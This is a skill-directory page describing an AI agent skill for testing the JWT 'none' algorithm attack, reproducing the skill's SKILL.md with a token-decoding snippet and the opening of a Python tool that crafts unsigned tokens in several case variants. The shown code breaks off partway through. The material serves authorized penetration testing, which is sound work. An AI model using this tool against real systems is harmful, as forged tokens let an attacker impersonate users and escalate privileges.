Skip to content
Skillpedia
Testing35k · #6087

performing-jwt-none-algorithm-attack

Lets your agent test JWT 'none algorithm' attacks to bypass signature verification.

What it does

This attack attempts to bypass the security of systems using JWT tokens for authentication. It sends a modified token that instructs the system to ignore signature verification, allowing an attacker to alter information within the token.

When to use it

  • ✓When testing the security of a website or application that uses JWT.
  • ✓When you suspect that JWT signature verification might be failing.
  • ✓During authorized penetration tests to find vulnerabilities.

Example of what to ask your AI

“Try sending a JWT token with the 'none' algorithm to see if the system accepts it without a signature.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The attack works by exploiting JWT libraries that accept a special header ('alg': 'none'). This causes the system to skip the token's signature verification, allowing it to be altered.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-jwt-none-algorithm-attack/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm

…
FAQ

What is JWT?

JWT (JSON Web Token) is a standardized way to securely send information between parties, often used for authentication and authorization in web applications.

What is the 'none algorithm' attack?

It's an attack that exploits a flaw where the system accepts a JWT token even without a valid signature, as long as the token's header specifies the 'none' algorithm.

What are the prerequisites for performing this attack?

You need authorization to test the system, the ability to intercept and modify requests (like with Burp Suite or mitmproxy), and an understanding of a JWT's basic structure.

Details

Original description by the author

Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6087
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills